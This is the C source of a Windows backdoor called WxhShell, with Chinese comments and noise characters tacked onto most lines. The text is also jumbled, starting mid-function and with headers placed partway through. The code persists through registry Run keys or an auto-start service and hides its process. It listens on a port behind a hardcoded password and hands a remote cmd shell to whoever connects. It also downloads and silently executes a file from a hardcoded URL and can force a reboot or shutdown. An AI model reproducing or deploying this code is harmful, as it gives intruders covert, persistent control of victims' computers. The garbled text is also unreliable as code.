    if(Boot(SHUTDOWN)) `3\U9ZH23  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M}o.= Iqa  
    else { P1[.[q/-e  
    closesocket(wsh); A^,u l>!  
    ExitThread(0); fQib?g/G  
    } EM@|^47$  
    break; 5V/&4$.U!  
    } Z0Sqw  
  // 获取shell Z~Q5<A9Jz  
  case 's': { tRU/[?!  
    CmdShell(wsh); >97YK =  
    closesocket(wsh); CbM~\6 R  
    ExitThread(0); esTL3 l{[  
    break; t#P7'9Se8  
  } |.Vgk8oTl  
  // 退出 v];YC6shx  
  case 'x': { 8i] S[$Fc  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (Z>?\iNJ  
    CloseIt(wsh); mh"PAp  
    break; LAc60^t1  
    } d3rjj4N"z  
  // 离开 aU;X&g+_)  
  case 'q': { _UTN4z2aTG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  dHx4yFS  
    closesocket(wsh); [xM&Jdf8  
    WSACleanup(); ,M`1 k  
    exit(1); ,Dv*<La`\  
    break; \uHC9}0  
        } Ag0 6M U  
  } #@ HlnF}T  
  } u|wl;+.  
/95z1e  
  // 提示信息 !QVhP+l'H  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ).jQ+XE'>  
} !:\0}w$-  
  } 4Mg%}/cC  
$)*qoV  
  return; A v>v\ :.>  
} tF,`v{-up  
3L==p`   
// shell模块句柄 ?wkT=mv  
int CmdShell(SOCKET sock) s2,6aW C  
{ y$fMMAN7  
STARTUPINFO si; W3/] 2"0  
ZeroMemory(&si,sizeof(si)); ]+,L/P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U0 -RG  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; . h)VR 5?j  
PROCESS_INFORMATION ProcessInfo; Zq33R`  
char cmdline[]="cmd"; a:*N0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yH:p*|%:  
  return 0; ih)\P0wed  
} >{Ayzz>v  
1^]IuPxq  
// 自身启动模式 On O_7'4 t  
int StartFromService(void) >.UEs 8QV  
{ DW,ERQ^  
typedef struct {w3<dfJ  
{ J;XO1}9  
  DWORD ExitStatus; kJB:=iq/x$  
  DWORD PebBaseAddress; vxf09v{-  
  DWORD AffinityMask; uDG>m7(}/h  
  DWORD BasePriority; Fp?M@  
  ULONG UniqueProcessId; K+ /wJ9^B  
  ULONG InheritedFromUniqueProcessId; fCu;n%   
}   PROCESS_BASIC_INFORMATION; T0fm6 J  
Hj`'4  
PROCNTQSIP NtQueryInformationProcess; 9?sY!gXc  
dCn9]cj/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n\ Lsm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; T] H 'l  
8)iI=,T*  
  HANDLE             hProcess; zytW3sTZA  
  PROCESS_BASIC_INFORMATION pbi; GBZu<t/  
T*B`8P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'S}3lsIE  
  if(NULL == hInst ) return 0; hB<(~L? A]  
ghW`xm87  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _)pOkS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1h`F*:nva  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7?g({]  
eI`%J3BxR  
  if (!NtQueryInformationProcess) return 0; (5`(H.(  
A]QGaWK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;XNC+mPK  
  if(!hProcess) return 0; KRm)|bgE  
9qi|)!!L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~)pZ5%C  
o:UNSr  
  CloseHandle(hProcess); )RFY2 }  
%! Sjbh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); lhE]KdE3  
if(hProcess==NULL) return 0; "}0QxogYE  
l(QntP  
HMODULE hMod; (i{ZxWW&  
char procName[255]; qldm"Ul  
unsigned long cbNeeded; PU\xFt  
3r^||(_u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ' "%hX&]5  
=saRh)EM  
  CloseHandle(hProcess); 6Yva4Lv  
$5ea[n c  
if(strstr(procName,"services")) return 1; // 以服务启动 d+h~4'ebv  
+`S_Gy  
  return 0; // 注册表启动 evE:FiDm(j  
} r;(^]Soz  
8:I-?z;S  
// 主模块 StNA(+rT  
int StartWxhshell(LPSTR lpCmdLine) &!:mL],  
{ u9q#L.Ij  
  SOCKET wsl; wmbG$T%k  
BOOL val=TRUE; (@ BB @G  
  int port=0; ZBK)rmhMx  
  struct sockaddr_in door; 2GigeN|1N  
:Eg4^,QX  
  if(wscfg.ws_autoins) Install(); [70 _uq  
5 <KBMCn  
port=atoi(lpCmdLine); b H5lLcdf  
u1'l4VgT  
if(port<=0) port=wscfg.ws_port; Wxj(3lg/  
Wl&6T1A`"  
  WSADATA data; jv29,46K  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UY *Z`$  
ze8MFz'm  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   'g<FL`iP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AKLFUk  
  door.sin_family = AF_INET; g( "[wqgG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); b,ZBol|X  
  door.sin_port = htons(port); FFVh~em{  
Xa'b @*o&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LChwHkRHJI  
closesocket(wsl); =`MQKh,  
return 1; |gk"~D  
} ~}D"8[ABj  
?*q-u9s9  
  if(listen(wsl,2) == INVALID_SOCKET) { _w <6o<@  
closesocket(wsl); './qBJ  
return 1; $Vs5d= B  
} 8v^AVg  
  Wxhshell(wsl); N#Nc{WU 'B  
  WSACleanup(); ?$\sMkn  
PEtr8J$uB  
return 0; 5}9rpN{y  
<pT1p4T<  
} Y!u">M#@  
dqt}:^L*0g  
// 以NT服务方式启动 .zW.IM}Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >6(e6/C-9  
{ \Z/0i|  
DWORD   status = 0; {oo(HD;5  
  DWORD   specificError = 0xfffffff; iqd7  
2mthUq9b*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h5E<wyd96.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; caTKi8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?|<p^:  
  serviceStatus.dwWin32ExitCode     = 0; u]3VK  
  serviceStatus.dwServiceSpecificExitCode = 0; i#U_g:~wC  
  serviceStatus.dwCheckPoint       = 0; ~fpk`&nhe  
  serviceStatus.dwWaitHint       = 0; aHle s5   
sPX~>8}|VP  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]INt9Pvqm  
  if (hServiceStatusHandle==0) return; 2-duzc  
{4R;C~E8  
status = GetLastError(); tD,~i"0;  
  if (status!=NO_ERROR) 51s3hX$  
{ dlV HyCW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I'R|B\  
    serviceStatus.dwCheckPoint       = 0; 7c'OIY].,  
    serviceStatus.dwWaitHint       = 0; SzjylUYV  
    serviceStatus.dwWin32ExitCode     = status; ]4_)WUS.c  
    serviceStatus.dwServiceSpecificExitCode = specificError; }f] ~{^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2+\@0j[q  
    return; fdKTj =4  
  } ot^$/(W  
}Mc&yjhMrg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _#E@& z".L  
  serviceStatus.dwCheckPoint       = 0; bXWodOSN  
  serviceStatus.dwWaitHint       = 0; 3)dtl!VMW[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =fK F#^E@  
} LgSVEQb6\|  
Eds{-x|10  
// 处理NT服务事件,比如:启动、停止 "SwM%j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XXW.Uios  
{ LaIH3!M3  
switch(fdwControl) GmN~e*x>p  
{ m&6I@S2  
case SERVICE_CONTROL_STOP: "4QD\k5  
  serviceStatus.dwWin32ExitCode = 0; `uqsYY`V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HO8x:2m  
  serviceStatus.dwCheckPoint   = 0; RjHKFB2  
  serviceStatus.dwWaitHint     = 0; Z9I ?j1K|!  
  { .|J-(J<>[.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vau#?U".}>  
  } 4g/Ly8  
  return; lJ4&kF=t  
case SERVICE_CONTROL_PAUSE: 3)~z~p7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3%V VG~[  
  break; 1GgG9I  
case SERVICE_CONTROL_CONTINUE: V7Mp<x%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6Y= MW{=F  
  break; `SESj)W(y  
case SERVICE_CONTROL_INTERROGATE: 6:Zd,N=  
  break; l$!g# ?w  
}; McQWZ<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ulY<4MN  
} mr#XN&e  
JI~@H /j  
// 标准应用程序主函数 E1rxuV|9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .l]w4Hf  
{ G2_l}q~  
k3B]u.Lo  
// 获取操作系统版本 PqwoZo0j  
OsIsNt=GetOsVer(); Z= /bD*\g  
GetModuleFileName(NULL,ExeFile,MAX_PATH); = M/($PA  
8`  f=E h  
  // 从命令行安装 ew6\Z$1c~  
  if(strpbrk(lpCmdLine,"iI")) Install(); .Vb\f  
<<ifd?  
  // 下载执行文件 zE4TdT1y|  
if(wscfg.ws_downexe) { ,~xX[uB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4>8'.8S   
  WinExec(wscfg.ws_filenam,SW_HIDE); tv7A&Z)Rh  
} 75#&hi/~  
JlN<w  
if(!OsIsNt) { ' +[fJ>Le  
// 如果时win9x,隐藏进程并且设置为注册表启动 J@ pCF@'  
HideProc(); 3%SwCYd  
StartWxhshell(lpCmdLine); j.y8H  
} E6y ?DXW H  
else 73d7'Fw  
  if(StartFromService()) i_qR&X  
  // 以服务方式启动 R4g% $}  
  StartServiceCtrlDispatcher(DispatchTable); srfM"Lb'  
else 3eS *U`_  
  // 普通方式启动 #1` lJ  
  StartWxhshell(lpCmdLine); ob;$yn7ZO1  
6(.]TEu0  
return 0; \HZ]=B#0  
} Rd{#cW~  
j; )-K 3Ia  
=WP`i29j9}  
vL:tuEE3  
=========================================== Hb{G RG70  
4XL]~3 c  
 MfNguh  
"~zQN(sR"P  
v %fRq!~  
Qk.:b  
" dKwY\)\  
Yv[j5\:x  
#include <stdio.h> C~aNOe WR  
#include <string.h> } h pTS_  
#include <windows.h> *~%# =o  
#include <winsock2.h> h,C?%H+/0Q  
#include <winsvc.h> ,| EaW& 2  
#include <urlmon.h> <rs"$JJV  
w$5#jJX\  
#pragma comment (lib, "Ws2_32.lib") 3d|n\!1r  
#pragma comment (lib, "urlmon.lib") :. ja~Q  
w;p!~o &  
#define MAX_USER   100 // 最大客户端连接数 0au\X$)Q  
#define BUF_SOCK   200 // sock buffer cp7Rpqg  
#define KEY_BUFF   255 // 输入 buffer GGR hM1II  
" )87GQ(R  
#define REBOOT     0   // 重启 \f7A j>  
#define SHUTDOWN   1   // 关机 3Vj,O?(Z  
On{p(| l  
#define DEF_PORT   5000 // 监听端口 (X"WEp^Q{I  
Gf{FFIe(  
#define REG_LEN     16   // 注册表键长度 g^EkRBU  
#define SVC_LEN     80   // NT服务名长度 ekj@;6 d]  
J0vCi}L  
// 从dll定义API ~ST7@-D0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >b.wk3g@>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6mi: %)"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [j :]YR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?u9JRXj%  
>=_Z\ wA  
// wxhshell配置信息 P|Ojt I  
struct WSCFG { ,^UNQO*{GI  
  int ws_port;         // 监听端口 mzl %h[9iI  
  char ws_passstr[REG_LEN]; // 口令 SH/KC  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8[|RsM   
  char ws_regname[REG_LEN]; // 注册表键名 )./%/ _*K  
  char ws_svcname[REG_LEN]; // 服务名 i2EXE0;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $0MP*TFWa  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aBO%qmtt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MWS=$N)v*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5`B ! 1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" qd FYf/y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )NwIEk>Tf  
|hprk-R*OH  
}; k2xOu9ncEj  
8W|qm;J98  
// default Wxhshell configuration |lijnfp  
struct WSCFG wscfg={DEF_PORT, : _>/Yd7-&  
    "xuhuanlingzhe", j'V# =vH  
    1, 9Xg+$/  
    "Wxhshell", m};Qng]  
    "Wxhshell", 'o#ve72z1  
            "WxhShell Service", D#T1~r4  
    "Wrsky Windows CmdShell Service", P2S$Dk_<\X  
    "Please Input Your Password: ", av&4:O!  
  1, K 0i[D"  
  "http://www.wrsky.com/wxhshell.exe", CmNd0S4v  
  "Wxhshell.exe" x*A_1_A  
    }; #O< 2wMb2<  
s4RqMO5eI  
// 消息定义模块 ^uu)|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Olg@ Ri  
char *msg_ws_prompt="\n\r? for help\n\r#>"; {/x["2a1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; APgP*,  
char *msg_ws_ext="\n\rExit."; FBYA d@="2  
char *msg_ws_end="\n\rQuit."; 75t\= 6#  
char *msg_ws_boot="\n\rReboot..."; M8 E8r  
char *msg_ws_poff="\n\rShutdown..."; _z<y]?q  
char *msg_ws_down="\n\rSave to "; Sn\S `D  
7B`,q-x.  
char *msg_ws_err="\n\rErr!"; fXPD^}?Ux4  
char *msg_ws_ok="\n\rOK!"; e7<//~W7W  
=U6%Wdth  
char ExeFile[MAX_PATH]; f*VBSg[`  
int nUser = 0; g9fS|T  
HANDLE handles[MAX_USER]; `JGV3nN  
int OsIsNt; 2\xv Yf-  
3%<Uq%pJ  
SERVICE_STATUS       serviceStatus; L,&R0gxi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H*DWDJxmV  
:RsO $@0G  
// 函数声明 l@8UL</W  
int Install(void); F j_r n  
int Uninstall(void); NM0[yh  
int DownloadFile(char *sURL, SOCKET wsh); Mt@P}4   
int Boot(int flag); o5(p&:1M  
void HideProc(void); 8:%=@p>$  
int GetOsVer(void); (GVH#}uB  
int Wxhshell(SOCKET wsl); =|lKB;  
void TalkWithClient(void *cs); km; M!}D  
int CmdShell(SOCKET sock); ?NZKu6  
int StartFromService(void); P&@:''  
int StartWxhshell(LPSTR lpCmdLine); s6(iiB%d  
D{&0r.2F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8#OcrJzC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~:Jw2 P2z  
D@V1}/$UoN  
// 数据结构和表定义 @_tQ:U,v  
SERVICE_TABLE_ENTRY DispatchTable[] = cSYW)c|t  
{ }t tiL  
{wscfg.ws_svcname, NTServiceMain}, [TAW68f'  
{NULL, NULL} ,O@x v  
}; =_%i5]89P  
8]6u]3q#  
// 自我安装 Z&hzsJK{m$  
int Install(void) V0Cz!YM_3  
{ bwjjwu&  
  char svExeFile[MAX_PATH]; 3@ a  
  HKEY key; 3Zm'09A-.  
  strcpy(svExeFile,ExeFile); -_bHLoI  
6~KtT{MYQ  
// 如果是win9x系统,修改注册表设为自启动 Ex'6 WN~kD  
if(!OsIsNt) { %[:\ZwT,-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M <oy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ({#9gTP2b  
  RegCloseKey(key); xkIRI1*!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x.rOP_rs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (R _#lRaQ  
  RegCloseKey(key); &TqY\l  
  return 0; $]4>;gTL'  
    } }QszOi\fV1  
  } Yx21~:9}  
} :"+/M{qz  
else { 'iM;e K  
L lmdydC%  
// 如果是NT以上系统,安装为系统服务 gU7@}P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ca[H<nyj  
if (schSCManager!=0) >E;-asD  
{ lW^bn(_gQ  
  SC_HANDLE schService = CreateService {Mc^[}9  
  ( :` >|N|i  
  schSCManager, Vy;f4;I{  
  wscfg.ws_svcname, <MgR x9  
  wscfg.ws_svcdisp, 2%YtMkC5  
  SERVICE_ALL_ACCESS, > uS?Nz5/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B+G,v:)R6z  
  SERVICE_AUTO_START, {EKzPr/  
  SERVICE_ERROR_NORMAL, cd36f26`"w  
  svExeFile, 0h~Iua5  
  NULL, $sDvE~f0n  
  NULL, N;cEf7+f  
  NULL, I g/SaEF  
  NULL, p`// *gl  
  NULL 8r^~`rL  
  ); pyEi@L1p  
  if (schService!=0) T:ye2yg  
  { /"A)}>a  
  CloseServiceHandle(schService); d'~sy>  
  CloseServiceHandle(schSCManager); 8}m bfu o1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :3k&[W*  
  strcat(svExeFile,wscfg.ws_svcname); nJJ9>#<g$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Nf0'>`/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %vjLw`  
  RegCloseKey(key); Mg H,"G  
  return 0; \%nFCK0  
    } `8Y& KVhu  
  } +*2wGAT  
  CloseServiceHandle(schSCManager); aa8xo5tIp  
} gxEa?QH  
} -!uut7Z|  
YNc] x>  
return 1; ]:CU.M1  
} > }#h  
&61;v@  
// 自我卸载 7Y$#* 7  
int Uninstall(void) BJI}gm2y  
{ w%=GdA=  
  HKEY key; TrxZS_  
j4wcxZYY~  
if(!OsIsNt) { ,?Pn-aC +  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d,}fp)  
  RegDeleteValue(key,wscfg.ws_regname); IwC4fcZX6  
  RegCloseKey(key); ]3@6o*R;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pkjf5DWp  
  RegDeleteValue(key,wscfg.ws_regname); bWzv7#dd=  
  RegCloseKey(key); z=TaB^-)  
  return 0; }m Rus<Ax  
  } > Y <in/  
} `ReTfz;o  
} xaO9?{O  
else { TJ@@k SSbl  
("{JNA/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); TRwlUC3hQ  
if (schSCManager!=0) rrK&XP&  
{ f,9jK9/$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (~F{c0 \C  
  if (schService!=0) O5HK2Xg,C  
  { -.A%c(|Q  
  if(DeleteService(schService)!=0) { ]M AB  
  CloseServiceHandle(schService); ,-PzUR4_Kj  
  CloseServiceHandle(schSCManager); Fw!wSzsk3  
  return 0; Qmxe*@{`  
  } 70,V>=aJ  
  CloseServiceHandle(schService); Dm=t`_DL8  
  } ^|^ek  
  CloseServiceHandle(schSCManager); :34#z.O  
} ;seD{y7!  
} %4#,y(dO  
rj[2XIO  
return 1; L(a&,cdh  
} P( >*gp  
w=EUwt  
// 从指定url下载文件 {@Y|"qIN  
int DownloadFile(char *sURL, SOCKET wsh) h8;B+#f`  
{ 6~8A$:  
  HRESULT hr; 1{N73]-M:  
char seps[]= "/"; Wx#((T  
char *token; < aeBhg%  
char *file; g z!q  
char myURL[MAX_PATH]; \F]X!#&+  
char myFILE[MAX_PATH]; )(~s-x^\z@  
o JC-?  
strcpy(myURL,sURL); `n%uvo}UT  
  token=strtok(myURL,seps); s(56aE  
  while(token!=NULL) tydD~a  
  { GOJ*>GpS  
    file=token; cU8Rm\?  
  token=strtok(NULL,seps); BrYU*aPW;  
  } ,4oYKJ$+h  
x2p}0N  
GetCurrentDirectory(MAX_PATH,myFILE); 9{{QdN8  
strcat(myFILE, "\\"); D Q7+  
strcat(myFILE, file); a1Q|su{H  
  send(wsh,myFILE,strlen(myFILE),0); fE"Q:K6r2  
send(wsh,"...",3,0); N9LBji;nH  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j-wSsjLk  
  if(hr==S_OK) *yJCnoF  
return 0; ,"?h _NbF  
else ?>b>LDpx?  
return 1;  L><# I  
WP,Ll\K)7  
} rU?sUm,ch  
/ fBi9=}+  
// 系统电源模块 q{v:T}Q|A  
int Boot(int flag) 4|Z;EAFx  
{ @UCI^a~w  
  HANDLE hToken; SS?^-BI  
  TOKEN_PRIVILEGES tkp; &phers  
/BB(riG  
  if(OsIsNt) { y,{=*2Yt  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _@I8B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C Z8Fe$F  
    tkp.PrivilegeCount = 1; ?E1<>4S8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P" +!mSe^~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E (DNK  
if(flag==REBOOT) { ~hi\*W6jg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S9~X#tpKe  
  return 0; .?7u'%6x?{  
} tfzIem  
else { xWk:7,/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <a/TDW  
  return 0; yOKpi&! r  
} shjc`Tqm  
  } 5\RTy}w3x  
  else { 6*`KC)a  
if(flag==REBOOT) { 6 &~8TH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qEvHrsw},  
  return 0; RlH|G  
} *a_U2}N  
else { @Qw~z0PE<l  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^(<Ecdz(  
  return 0; e~ #;ux  
} &R$6dG4  
} L ]HtmI  
1Rlg%G'  
return 1; }SL&Y`Y]  
} @<]sW*s  
3IXai)6U  
// win9x进程隐藏模块  k I {)"  
void HideProc(void) I9S=VFhZ`  
{ \Eq,4-q  
up+W[#+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 9Q{-4yF9k  
  if ( hKernel != NULL ) yV=Ku  
  { p=F!)TnJN  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); yo\R[i(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 5,/rh,?  
    FreeLibrary(hKernel); 3m RP.<=  
  } Dep.Qfv{-  
7.7aHt0  
return; ~>C@n'\lv  
} VyQ@. Lm  
H CKD0xx  
// 获取操作系统版本 ;Du+C%  
int GetOsVer(void) ? yL3XB>  
{ T(LqR?xOo  
  OSVERSIONINFO winfo; !|!k9~v!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^PwZP;On  
  GetVersionEx(&winfo); a=(D`lQ8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @qP uYFnw  
  return 1; N?cvQR{r9  
  else P2y`d9,Q  
  return 0; l=EnK"aU  
} =T_E]>FF9  
XY1D<  
// 客户端句柄模块 TJ k3z^.j  
int Wxhshell(SOCKET wsl) KGsS2  
{ ZAe'lgS  
  SOCKET wsh; X.~z:W+  
  struct sockaddr_in client; ze* =7  
  DWORD myID; b1rW0}A  
tC;L A 4  
  while(nUser<MAX_USER) O~3<P3W  
{ :H9\nU1  
  int nSize=sizeof(client); s3nt12  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MA}~bfB  
  if(wsh==INVALID_SOCKET) return 1; m |K"I3W$  
-Ky<P<@ezm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); | .w'Z7(s  
if(handles[nUser]==0) _+c' z  
  closesocket(wsh); Be~__pd  
else nV/8u_  
  nUser++; zKRt\;PW  
  } 2~`lvx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @9,=|kxK  
t:MeSO  
  return 0; R/!lDv!  
} /j7e q  
&j}08aK%  
// 关闭 socket 9;W 2zcN  
void CloseIt(SOCKET wsh) *\#/4_yB}  
{ U;SReWqU  
closesocket(wsh); 0L->e(Vf7u  
nUser--; 8 $5 y]%!  
ExitThread(0); }~W:3A{7;  
} w&c6iFMd0  
xIt'o(jQH  
// 客户端请求句柄 P{T\zT  
void TalkWithClient(void *cs) }kJfTsFS  
{ n ~c<[  
E[Xqyp!<  
  SOCKET wsh=(SOCKET)cs; 0.pZlv  
  char pwd[SVC_LEN]; E6 g]EE  
  char cmd[KEY_BUFF]; o!6~tO=%  
char chr[1]; j-~x==c-;  
int i,j; %}.4c8  
Iax-~{B3AY  
  while (nUser < MAX_USER) { @`Fv}RY{  
'=s{9lxn^  
if(wscfg.ws_passstr) { ^)J2tpr;]=  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); %@L[=\ 9  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -|z ]Ir  
  //ZeroMemory(pwd,KEY_BUFF); KU]co4]8^s  
      i=0; Za[ ?CA  
  while(i<SVC_LEN) { `ef C4#*!!  
"Wz8f  
  // 设置超时 fAEgrw%Ti  
  fd_set FdRead; m!22tpb  
  struct timeval TimeOut; GG0H3MSc  
  FD_ZERO(&FdRead); |Do+=Gr$t@  
  FD_SET(wsh,&FdRead); EF>vu+YK  
  TimeOut.tv_sec=8; ]|JQH  
  TimeOut.tv_usec=0; IOfxx>=3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _h6j, )  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <QuIXA  
V8w7U:K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8+f{ /  
  pwd=chr[0]; rt rPRR\:"  
  if(chr[0]==0xd || chr[0]==0xa) { Sb4^* $uz  
  pwd=0; 0sMNp  
  break; hD> ]\u  
  } 0Cg}yyOz  
  i++; h 8%(,$*  
    } &9+]{jXF  
/M : 7  
  // 如果是非法用户,关闭 socket V),wDyi  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~mF^t7n]  
} F_U9;*f]  
IZ/PZ"n_(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Gye84C2E=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Cy frnU8g  
58SqB  
while(1) { t)kc`3i<A  
n1!}d%:  
  ZeroMemory(cmd,KEY_BUFF); VGY x(  
k~0#Iy_{M  
      // 自动支持客户端 telnet标准   vw'xmzgA  
  j=0; C6?({ QB@  
  while(j<KEY_BUFF) { !"g2F}n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JRw<v4pZ  
  cmd[j]=chr[0]; Ao )\/AR'  
  if(chr[0]==0xa || chr[0]==0xd) { ybC0Ee@  
  cmd[j]=0; Aaw]=8 OI  
  break; ~hZr1hT6L  
  } exZgk2[0  
  j++; 2jVvK"C  
    } '^n,)oA/G  
.Ei#mG-=}&  
  // 下载文件 }WA =  
  if(strstr(cmd,"http://")) { !.G knDT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); A'tv[T d8,  
  if(DownloadFile(cmd,wsh)) I!?)}d  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q90 ~)n?  
  else G$^u2wz.  
